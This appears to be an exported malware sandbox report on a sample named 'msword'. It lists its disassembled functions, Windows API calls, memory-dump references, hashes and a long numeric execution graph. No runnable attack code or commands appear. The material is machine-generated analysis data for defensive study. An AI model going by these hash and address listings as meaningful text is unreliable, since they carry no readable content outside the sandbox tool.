                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
                                                                            • lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: PrivateProfileStringlstrcmp
                                                                            • String ID: !N~
                                                                            • API String ID: 623250636-529124213
                                                                            • Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
                                                                            • Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
                                                                            • Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
                                                                            • Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718
                                                                            Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
                                                                            • CloseHandle.KERNEL32(?), ref: 00405C71
                                                                            Strings
                                                                            • Error launching installer, xrefs: 00405C48
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: CloseCreateHandleProcess
                                                                            • String ID: Error launching installer
                                                                            • API String ID: 3712363035-66219284
                                                                            • Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
                                                                            • Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
                                                                            • Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
                                                                            • Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68
                                                                            Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                            • wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                              • Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: CloseHandlelstrlenwvsprintf
                                                                            • String ID: RMDir: RemoveDirectory invalid input("")
                                                                            • API String ID: 3509786178-2769509956
                                                                            • Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
                                                                            • Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
                                                                            • Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
                                                                            • Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E
                                                                            Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
                                                                            • lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
                                                                            • CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
                                                                            • lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: lstrlen$CharNextlstrcmpi
                                                                            • String ID:
                                                                            • API String ID: 190613189-0
                                                                            • Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
                                                                            • Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
                                                                            • Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
                                                                            • Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

                                                                            Execution Graph

                                                                            Execution Coverage:3%
                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                            Signature Coverage:3.6%
                                                                            Total number of Nodes:2000
                                                                            Total number of Limit Nodes:72
                                                                            execution_graph 97125 dddd3d 97126 e219c2 97125->97126 97127 dddd63 97125->97127 97130 e21a82 97126->97130 97135 e21a26 97126->97135 97138 e21a46 97126->97138 97128 dddead 97127->97128 97131 df014b 22 API calls 97127->97131 97215 df017b 97128->97215 97228 e43fe1 82 API calls __wsopen_s 97130->97228 97137 dddd8d 97131->97137 97133 e21a7d 97226 dee6e8 191 API calls 97135->97226 97139 df014b 22 API calls 97137->97139 97144 dddee4 __fread_nolock 97137->97144 97138->97133 97227 e43fe1 82 API calls __wsopen_s 97138->97227 97140 dddddb 97139->97140 97140->97135 97142 ddde16 97140->97142 97141 df017b 22 API calls 97141->97144 97184 de0340 97142->97184 97144->97138 97144->97141 97145 ddde29 97145->97133 97145->97144 97146 e21aa5 97145->97146 97147 ddde77 97145->97147 97149 ddd526 97145->97149 97229 e43fe1 82 API calls __wsopen_s 97146->97229 97147->97128 97147->97149 97167 df014b 97149->97167 97151 ddd589 97177 ddc32d 97151->97177 97154 df014b 22 API calls 97155 ddd66e messages 97154->97155 97159 e21f79 97155->97159 97161 e21f94 97155->97161 97162 ddbed9 22 API calls 97155->97162 97165 ddd911 messages 97155->97165 97207 ddc3ab 97155->97207 97230 ddb4c8 22 API calls 97155->97230 97156 ddc3ab 22 API calls 97164 ddd9ac messages 97156->97164 97231 e356ae 22 API calls messages 97159->97231 97162->97155 97166 ddd9c3 97164->97166 97225 dee30a 22 API calls messages 97164->97225 97165->97156 97165->97164 97169 df0150 97167->97169 97170 df016a 97169->97170 97173 df016c 97169->97173 97232 dfed7c 97169->97232 97239 df521d 7 API calls 2 library calls 97169->97239 97170->97151 97172 df09dd 97241 df3614 RaiseException 97172->97241 97173->97172 97240 df3614 RaiseException 97173->97240 97176 df09fa 97176->97151 97181 ddc33d 97177->97181 97178 ddc345 97178->97154 97179 df014b 22 API calls 97179->97181 97181->97178 97181->97179 97182 ddc32d 22 API calls 97181->97182 97244 ddbf73 97181->97244 97249 ddbed9 97181->97249 97182->97181 97201 de0376 messages 97184->97201 97185 df0568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 97185->97201 97186 e2632b 97258 e43fe1 82 API calls __wsopen_s 97186->97258 97188 de1695 97195 ddbed9 22 API calls 97188->97195 97196 de049d messages 97188->97196 97189 df014b 22 API calls 97189->97201 97191 e2625a 97257 e43fe1 82 API calls __wsopen_s 97191->97257 97192 e25cdb 97192->97196 97200 ddbed9 22 API calls 97192->97200 97195->97196 97196->97145 97197 ddbed9 22 API calls 97197->97201 97198 df05b2 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 97198->97201 97200->97196 97201->97185 97201->97186 97201->97188 97201->97189 97201->97191 97201->97192 97201->97196 97201->97197 97201->97198 97202 ddbf73 22 API calls 97201->97202 97203 df0413 29 API calls pre_c_initialization 97201->97203 97204 e26115 97201->97204 97206 de0aae messages 97201->97206 97253 de1990 191 API calls 2 library calls 97201->97253 97254 de1e50 41 API calls messages 97201->97254 97202->97201 97203->97201 97255 e43fe1 82 API calls __wsopen_s 97204->97255 97256 e43fe1 82 API calls __wsopen_s 97206->97256 97208 ddc3b9 97207->97208 97214 ddc3e1 messages 97207->97214 97209 ddc3c7 97208->97209 97210 ddc3ab 22 API calls 97208->97210 97211 ddc3cd 97209->97211 97212 ddc3ab 22 API calls 97209->97212 97210->97209 97211->97214 97259 ddc7e0 97211->97259 97212->97211 97214->97155 97217 df014b 97215->97217 97216 dfed7c ___std_exception_copy 21 API calls 97216->97217 97217->97216 97218 df016a 97217->97218 97221 df016c 97217->97221 97264 df521d 7 API calls 2 library calls 97217->97264 97218->97144 97220 df09dd 97266 df3614 RaiseException 97220->97266 97221->97220 97265 df3614 RaiseException 97221->97265 97224 df09fa 97224->97144 97225->97164 97226->97138 97227->97133 97228->97133 97229->97133 97230->97155 97231->97161 97238 e03b93 FindHandlerForForeignException 97232->97238 97233 e03bd1 97243 dff649 20 API calls __dosmaperr 97233->97243 97235 e03bbc RtlAllocateHeap 97236 e03bcf 97235->97236 97235->97238 97236->97169 97238->97233 97238->97235 97242 df521d 7 API calls 2 library calls 97238->97242 97239->97169 97240->97172 97241->97176 97242->97238 97243->97236 97245 df017b 22 API calls 97244->97245 97246 ddbf88 97245->97246 97247 df014b 22 API calls 97246->97247 97248 ddbf96 97247->97248 97248->97181 97250 ddbefc __fread_nolock 97249->97250 97251 ddbeed 97249->97251 97250->97181 97251->97250 97252 df017b 22 API calls 97251->97252 97252->97250 97253->97201 97254->97201 97255->97206 97256->97196 97257->97196 97258->97196 97261 ddc7eb messages 97259->97261 97260 ddc826 messages 97260->97214 97261->97260 97263 dee322 22 API calls messages 97261->97263 97263->97260 97264->97217 97265->97220 97266->97224 97267 ddf4dc 97270 ddcab0 97267->97270 97271 ddcacb 97270->97271 97272 e214be 97271->97272 97273 e2150c 97271->97273 97300 ddcaf0 97271->97300 97276 e214c8 97272->97276 97279 e214d5 97272->97279 97272->97300 97319 e562ff 191 API calls 2 library calls 97273->97319 97317 e56790 191 API calls 97276->97317 97294 ddcdc0 97279->97294 97318 e56c2d 191 API calls 2 library calls 97279->97318 97282 e2179f 97282->97282 97286 e216e8 97322 e56669 82 API calls 97286->97322 97290 ddcdee 97294->97290 97323 e43fe1 82 API calls __wsopen_s 97294->97323 97295 ddcf80 40 API calls 97295->97300 97296 dee807 40 API calls 97296->97300 97297 de0340 191 API calls 97297->97300 97298 ddbed9 22 API calls 97298->97300 97300->97286 97300->97290 97300->97294 97300->97295 97300->97296 97300->97297 97300->97298 97301 ddbe2d 97300->97301 97305 dee7c1 40 API calls 97300->97305 97306 deaa99 191 API calls 97300->97306 97307 df05b2 5 API calls __Init_thread_wait 97300->97307 97308 debc58 97300->97308 97313 df0413 29 API calls __onexit 97300->97313 97314 df0568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 97300->97314 97315 def4df 82 API calls 97300->97315 97316 def346 191 API calls 97300->97316 97320 ddb4c8 22 API calls 97300->97320 97321 e2ffaf 22 API calls 97300->97321 97302 ddbe38 97301->97302 97303 ddbe67 97302->97303 97324 ddbfa5 40 API calls 97302->97324 97303->97300 97305->97300 97306->97300 97307->97300 97309 df014b 22 API calls 97308->97309 97310 debc65 97309->97310 97325 ddb329 97310->97325 97313->97300 97314->97300 97315->97300 97316->97300 97317->97279 97318->97294 97319->97300 97320->97300 97321->97300 97322->97294 97323->97282 97324->97303 97326 ddb338 _wcslen 97325->97326 97327 df017b 22 API calls 97326->97327 97328 ddb360 __fread_nolock 97327->97328 97329 df014b 22 API calls 97328->97329 97330 ddb376 97329->97330 97330->97300 97331 de0ebf 97332 de0ed3 97331->97332 97338 de1425 97331->97338 97333 df014b 22 API calls 97332->97333 97336 de0ee5 97332->97336 97333->97336 97334 e2562c 97420 e41b14 22 API calls 97334->97420 97336->97334 97337 de0f3e 97336->97337 97419 ddb4c8 22 API calls 97336->97419 97357 de049d messages 97337->97357 97364 de2b20 97337->97364 97338->97336 97341 ddbed9 22 API calls 97338->97341 97341->97336 97342 df014b 22 API calls 97363 de0376 messages 97342->97363 97344 de1695 97351 ddbed9 22 API calls 97344->97351 97344->97357 97345 e2632b 97424 e43fe1 82 API calls __wsopen_s 97345->97424 97347 e2625a 97423 e43fe1 82 API calls __wsopen_s 97347->97423 97348 e25cdb 97354 ddbed9 22 API calls 97348->97354 97348->97357 97351->97357 97352 ddbed9 22 API calls 97352->97363 97354->97357 97355 df05b2 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 97355->97363 97356 ddbf73 22 API calls 97356->97363 97358 e26115 97421 e43fe1 82 API calls __wsopen_s 97358->97421 97359 de0aae messages 97422 e43fe1 82 API calls __wsopen_s 97359->97422 97360 df0568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent __Init_thread_footer 97360->97363 97362 df0413 29 API calls pre_c_initialization 97362->97363 97363->97342 97363->97344 97363->97345 97363->97347 97363->97348 97363->97352 97363->97355 97363->97356 97363->97357 97363->97358 97363->97359 97363->97360 97363->97362 97417 de1990 191 API calls 2 library calls 97363->97417 97418 de1e50 41 API calls messages 97363->97418 97365 de2b86 97364->97365 97366 de2fc0 97364->97366 97368 e27bd8 97365->97368 97369 de2ba0 97365->97369 97508 df05b2 5 API calls __Init_thread_wait 97366->97508 97471 e57af9 97368->97471 97425 de3160 97369->97425 97371 de2fca 97375 ddb329 22 API calls 97371->97375 97386 de300b 97371->97386 97373 e27be4 97373->97363 97380 de2fe4 97375->97380 97376 de3160 9 API calls 97377 de2bc6 97376->97377 97378 de2bfc 97377->97378 97377->97386 97381 e27bfd 97378->97381 97405 de2c18 __fread_nolock 97378->97405 97379 e27bed 97379->97363 97509 df0568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 97380->97509 97513 e43fe1 82 API calls __wsopen_s 97381->97513 97384 de3049 97511 dee6e8 191 API calls 97384->97511 97386->97379 97510 ddb4c8 22 API calls 97386->97510 97387 e27c15 97514 e43fe1 82 API calls __wsopen_s 97387->97514 97390 de2d3f 97391 de2d4c 97390->97391 97392 e27c78 97390->97392 97393 de3160 9 API calls 97391->97393 97516 e561a2 54 API calls _wcslen 97392->97516 97396 de2d59 97393->97396 97395 df014b 22 API calls 97395->97405 97401 de3160 9 API calls 97396->97401 97411 de2dd7 messages 97396->97411 97397 de3082 97512 defe39 22 API calls 97397->97512 97398 df017b 22 API calls 97398->97405 97400 de2f2d 97400->97363 97407 de2d73 97401->97407 97403 de0340 191 API calls 97403->97405 97404 de2e8b messages 97404->97400 97507 dee322 22 API calls messages 97404->97507 97405->97384 97405->97387 97405->97390 97405->97395 97405->97398 97405->97403 97408 e27c59 97405->97408 97405->97411 97407->97411 97412 ddbed9 22 API calls 97407->97412 97515 e43fe1 82 API calls __wsopen_s 97408->97515 97409 de3160 9 API calls 97409->97411 97411->97397 97411->97404 97411->97409 97435 e59fe8 97411->97435 97438 deac3e 97411->97438 97457 e5ad47 97411->97457 97462 e4f94a 97411->97462 97517 e43fe1 82 API calls __wsopen_s 97411->97517 97412->97411 97417->97363 97418->97363 97419->97336 97420->97357 97421->97359 97422->97357 97423->97357 97424->97357 97426 de317d 97425->97426 97427 de31a1 97425->97427 97434 de2bb0 97426->97434 97520 df05b2 5 API calls __Init_thread_wait 97426->97520 97518 df05b2 5 API calls __Init_thread_wait 97427->97518 97430 de31ab 97430->97426 97519 df0568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 97430->97519 97431 de9f47 97431->97434 97521 df0568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 97431->97521 97434->97376 97522 e589b6 97435->97522 97437 e59ff8 97437->97411 97439 dd8ec0 53 API calls 97438->97439 97440 deac68 97439->97440 97441 debc58 22 API calls 97440->97441 97442 deac7f 97441->97442 97453 deb09b _wcslen 97442->97453 97687 ddc98d 39 API calls 97442->97687 97446 debbbe 43 API calls 97446->97453 97449 dd6c03 22 API calls 97449->97453 97450 deb1fb 97450->97411 97451 ddc98d 39 API calls 97451->97453 97452 dd8ec0 53 API calls 97452->97453 97453->97446 97453->97449 97453->97450 97453->97451 97453->97452 97673 dd396b 97453->97673 97683 dd3907 97453->97683 97688 df4d98 97453->97688 97698 dd7ad5 97453->97698 97703 ddad40 22 API calls __fread_nolock 97453->97703 97704 dd7b1a 22 API calls 97453->97704 97705 dd8577 97453->97705 97458 dd8ec0 53 API calls 97457->97458 97459 e5ad63 97458->97459 97784 e3dd87 CreateToolhelp32Snapshot Process32FirstW 97459->97784 97461 e5ad72 97461->97411 97463 df017b 22 API calls 97462->97463 97464 e4f95b 97463->97464 97805 dd423c 97464->97805 97467 dd8ec0 53 API calls 97468 e4f97c GetEnvironmentVariableW 97467->97468 97808 e4160f 22 API calls 97468->97808 97470 e4f999 messages 97470->97411 97472 e57b52 97471->97472 97473 e57b38 97471->97473 97809 e560e6 97472->97809 97820 e43fe1 82 API calls __wsopen_s 97473->97820 97477 de0340 190 API calls 97478 e57bc1 97477->97478 97479 e57c5c 97478->97479 97483 e57c03 97478->97483 97492 e57b4a 97478->97492 97480 e57cb0 97479->97480 97481 e57c62 97479->97481 97482 dd8ec0 53 API calls 97480->97482 97480->97492 97821 e41ad8 22 API calls 97481->97821 97484 e57cc2 97482->97484 97488 e4148b 22 API calls 97483->97488 97486 ddc2c9 22 API calls 97484->97486 97489 e57ce6 CharUpperBuffW 97486->97489 97487 e57c85 97822 ddbd07 22 API calls 97487->97822 97491 e57c3b 97488->97491 97494 e57d00 97489->97494 97493 de2b20 190 API calls 97491->97493 97492->97373 97493->97492 97495 e57d07 97494->97495 97496 e57d53 97494->97496 97816 e4148b 97495->97816 97497 dd8ec0 53 API calls 97496->97497 97498 e57d5b 97497->97498 97823 deaa65 23 API calls 97498->97823 97502 de2b20 190 API calls 97502->97492 97503 e57d65 97503->97492 97504 dd8ec0 53 API calls 97503->97504 97505 e57d80 97504->97505 97824 ddbd07 22 API calls 97505->97824 97507->97404 97508->97371 97509->97386 97510->97384 97511->97397 97512->97397 97513->97411 97514->97411 97515->97411 97516->97407 97517->97411 97518->97430 97519->97426 97520->97431 97521->97434 97560 dd8ec0 97522->97560 97526 e58eac 97634 e59941 60 API calls 97526->97634 97529 e58ebb 97531 e58ec7 97529->97531 97532 e58cec 97529->97532 97530 e58aa6 97533 dd8ec0 53 API calls 97530->97533 97539 e58a32 messages 97530->97539 97548 e58cde 97530->97548 97616 e34ad3 22 API calls __fread_nolock 97530->97616 97617 e58f7a 42 API calls _strftime 97530->97617 97531->97539 97596 e588e3 97532->97596 97533->97530 97538 e58d25 97611 deffe0 97538->97611 97539->97437 97542 e58d45 97618 e43fe1 82 API calls __wsopen_s 97542->97618 97543 e58d5f 97619 dd7e12 97543->97619 97547 e58d50 GetCurrentProcess TerminateProcess 97547->97543 97548->97526 97548->97532 97552 e58f22 97552->97539 97554 e58f36 FreeLibrary 97552->97554 97553 e58d9e 97631 e595d8 75 API calls 97553->97631 97554->97539 97558 e58daf 97558->97552 97632 de1ca0 22 API calls 97558->97632 97633 ddb4c8 22 API calls 97558->97633 97635 e595d8 75 API calls 97558->97635 97561 dd8ed5 97560->97561 97576 dd8ed2 97560->97576 97562 dd8edd 97561->97562 97563 dd8f0b 97561->97563 97636 df5536 26 API calls 97562->97636 97566 dd8f1d 97563->97566 97570 e16a38 97563->97570 97574 e16b1f 97563->97574 97637 defe6f 51 API calls 97566->97637 97567 dd8eed 97572 df014b 22 API calls 97567->97572 97568 e16b37 97568->97568 97577 df017b 22 API calls 97570->97577 97578 e16ab1 97570->97578 97573 dd8ef7 97572->97573 97575 ddb329 22 API calls 97573->97575 97639 df54f3 26 API calls 97574->97639 97575->97576 97576->97539 97583 e59730 97576->97583 97579 e16a81 97577->97579 97638 defe6f 51 API calls 97578->97638 97580 df014b 22 API calls 97579->97580 97581 e16aa8 97580->97581 97582 ddb329 22 API calls 97581->97582 97582->97578 97640 ddc2c9 97583->97640 97585 e5974b CharLowerBuffW 97646 e39805 97585->97646 97589 ddbf73 22 API calls 97590 e59787 97589->97590 97653 ddacc0 22 API calls __fread_nolock 97590->97653 97592 e5979b 97654 ddadf4 97592->97654 97594 e598bb _wcslen 97594->97530 97595 e597a5 _wcslen 97595->97594 97658 e58f7a 42 API calls _strftime 97595->97658 97597 e588fe 97596->97597 97598 e58949 97596->97598 97599 df017b 22 API calls 97597->97599 97602 e59af3 97598->97602 97600 e58920 97599->97600 97600->97598 97601 df014b 22 API calls 97600->97601 97601->97600 97603 e59d08 messages 97602->97603 97610 e59b17 _strcat _wcslen 97602->97610 97603->97538 97604 ddc98d 39 API calls 97604->97610 97605 ddc63f 39 API calls 97605->97610 97606 ddca5b 39 API calls 97606->97610 97607 dd8ec0 53 API calls 97607->97610 97608 dfed7c 21 API calls ___std_exception_copy 97608->97610 97610->97603 97610->97604 97610->97605 97610->97606 97610->97607 97610->97608 97661 e3f8c5 24 API calls _wcslen 97610->97661 97613 defff5 97611->97613 97612 df008d CreateToolhelp32Snapshot 97615 df005b 97612->97615 97613->97612 97614 df007b CloseHandle 97613->97614 97613->97615 97614->97615 97615->97542 97615->97543 97616->97530 97617->97530 97618->97547 97620 dd7e1a 97619->97620 97621 df014b 22 API calls 97620->97621 97622 dd7e28 97621->97622 97662 dd8445 97622->97662 97625 dd8470 97665 ddc760 97625->97665 97627 dd8480 97628 df017b 22 API calls 97627->97628 97629 dd851c 97627->97629 97628->97629 97629->97558 97630 de1ca0 22 API calls 97629->97630 97630->97553 97631->97558 97632->97558 97633->97558 97634->97529 97635->97558 97636->97567 97637->97567 97638->97574 97639->97568 97641 ddc2dc 97640->97641 97642 ddc2d9 __fread_nolock 97640->97642 97643 df014b 22 API calls 97641->97643 97642->97585 97644 ddc2e7 97643->97644 97645 df017b 22 API calls 97644->97645 97645->97642 97648 e39825 _wcslen 97646->97648 97647 e39914 97647->97589 97647->97595 97648->97647 97649 e3985a 97648->97649 97651 e39919 97648->97651 97649->97647 97659 dee36b 41 API calls 97649->97659 97651->97647 97660 dee36b 41 API calls 97651->97660 97653->97592 97655 ddae0b __fread_nolock 97654->97655 97656 ddae02 97654->97656 97655->97595 97655->97655 97656->97655 97657 ddc2c9 22 API calls 97656->97657 97657->97655 97658->97594 97659->97649 97660->97651 97661->97610 97663 df014b 22 API calls 97662->97663 97664 dd7e30 97663->97664 97664->97625 97666 ddc76b 97665->97666 97667 e21285 97666->97667 97672 ddc773 messages 97666->97672 97668 df014b 22 API calls 97667->97668 97670 e21291 97668->97670 97669 ddc77a 97669->97627 97671 ddc7e0 22 API calls 97671->97672 97672->97669 97672->97671 97674 dd3996 ___scrt_fastfail 97673->97674 97717 dd5f32 97674->97717 97677 dd3a1c 97679 dd3a3a Shell_NotifyIconW 97677->97679 97680 e140cd Shell_NotifyIconW 97677->97680 97721 dd61a9 97679->97721 97682 dd3a50 97682->97453 97684 dd3969 97683->97684 97685 dd3919 ___scrt_fastfail 97683->97685 97684->97453 97686 dd3938 Shell_NotifyIconW 97685->97686 97686->97684 97687->97453 97689 df4e1b 97688->97689 97690 df4da6 97688->97690 97782 df4e2d 40 API calls 3 library calls 97689->97782 97697 df4dcb 97690->97697 97780 dff649 20 API calls __dosmaperr 97690->97780 97693 df4e28 97693->97453 97694 df4db2 97781 e02b5c 26 API calls __cftof 97694->97781 97696 df4dbd 97696->97453 97697->97453 97699 df017b 22 API calls 97698->97699 97700 dd7afa 97699->97700 97701 df014b 22 API calls 97700->97701 97702 dd7b08 97701->97702 97702->97453 97703->97453 97704->97453 97706 e16610 97705->97706 97707 dd8587 _wcslen 97705->97707 97708 ddadf4 22 API calls 97706->97708 97710 dd859d 97707->97710 97711 dd85c2 97707->97711 97709 e16619 97708->97709 97709->97709 97783 dd88e8 22 API calls 97710->97783 97712 df014b 22 API calls 97711->97712 97714 dd85ce 97712->97714 97716 df017b 22 API calls 97714->97716 97715 dd85a5 __fread_nolock 97715->97453 97716->97715 97718 dd5f4e 97717->97718 97719 dd39eb 97717->97719 97718->97719 97720 e15070 DestroyIcon 97718->97720 